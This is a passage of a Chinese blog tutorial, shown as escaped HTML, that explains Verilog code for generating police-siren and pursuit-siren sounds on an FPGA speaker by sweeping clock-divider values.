\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"Police-siren\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#Police-siren\" class=\"headerlink\" title=\"Police siren\"\u003e\u003c/a\u003ePolice siren\u003c/h3\u003e\u003cp\u003e接下来是生成一个听起来像警笛的声音。这个声音听着是又小逐渐变大的这种,之前声音像跳楼梯,这次的像上坡。\u003c/p\u003e\u003cp\u003e我们将音调计数器 \u003ccode\u003etone\u003c/code\u003e 的速度提高一倍,变为3Hz。\u003c/p\u003e\u003cp\u003e然后,就开始升频操作。我们提取音调计数器的16位到第22位:\u003ccode\u003etone[22:16]\u003c/code\u003e。这样我们得到了7bit,并且以一个中等速度从0~127,到达127后,再从127~0。\u003c/p\u003e\u003cp\u003e为了得到一个向下的斜坡,将其进行翻转(\u003ccode\u003e~tone[22:16]\u003c/code\u003e),此时从127~0。\u003c/p\u003e\u003cp\u003e为了切换上下这两个通道,同上面一样,我们根据 MSB \u003ccode\u003etone[23]\u003c/code\u003e 的值进行选择,3Hz切换一次。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e ramp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003ewire表示直通,即只要输入有变化,输出马上无条件地反映;reg表示一定要有触发,输出才会反映输入。(\u003ca href=\"https://zhuanlan.zhihu.com/p/482748824\"\u003e【Verilog HDL】Verilog中wire与reg类型学习 - 知乎 (zhihu.com)\u003c/a\u003e)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这样做的意义:\u003ca href=\"https://www.fpga4fun.com/MusicBox_ramp_explanation.html\"\u003efpga4fun.com - Music box siren ramp\u003c/a\u003e 。\u003c/p\u003e\u003cp\u003e这个 \u003ccode\u003eramp\u003c/code\u003e 的值从 \u003ccode\u003e7\u0026#39;b0000000\u003c/code\u003e 到 \u003ccode\u003e7\u0026#39;b1111111\u003c/code\u003e 。为了得到一个可用的值产生声音,我们在他前面补2位 \u003ccode\u003e2\u0026#39;b01\u003c/code\u003e 后面补7位 \u003ccode\u003e7\u0026#39;b0000000\u003c/code\u003e 进行填充。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e ramp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样, \u003ccode\u003eclkdivider\u003c/code\u003e 的值从 \u003ccode\u003e16\u0026#39;b0100000000000000\u003c/code\u003e 到\u003ccode\u003e16\u0026#39;b01111110000000\u003c/code\u003e ,在50MHz的时钟下,相当于产生从765Hz到1525Hz的高音调警报器。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// police\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e police #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// MSB 3Hz变动一次\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e24\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 判断是上升还是下降\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e ramp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// clkdivider 以3Hz为周期变动\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e ramp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e clkdivider\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"High-speed-pursuit\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#High-speed-pursuit\" class=\"headerlink\" title=\"High-speed pursuit\"\u003e\u003c/a\u003eHigh-speed pursuit\u003c/h3\u003e\u003cp\u003e要进行高速追击,警报声音有快有慢。\u003c/p\u003e\u003cp\u003e所以 \u003ccode\u003etone[22:16]\u003c/code\u003e 给我们一个快速的斜坡,而 \u003ccode\u003etone[25:19]\u003c/code\u003e 给我们一个缓慢的斜坡。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e fastsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e slowsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e slowsweep \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e fastsweep\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e最终代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// hign.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e hign \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e25\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token 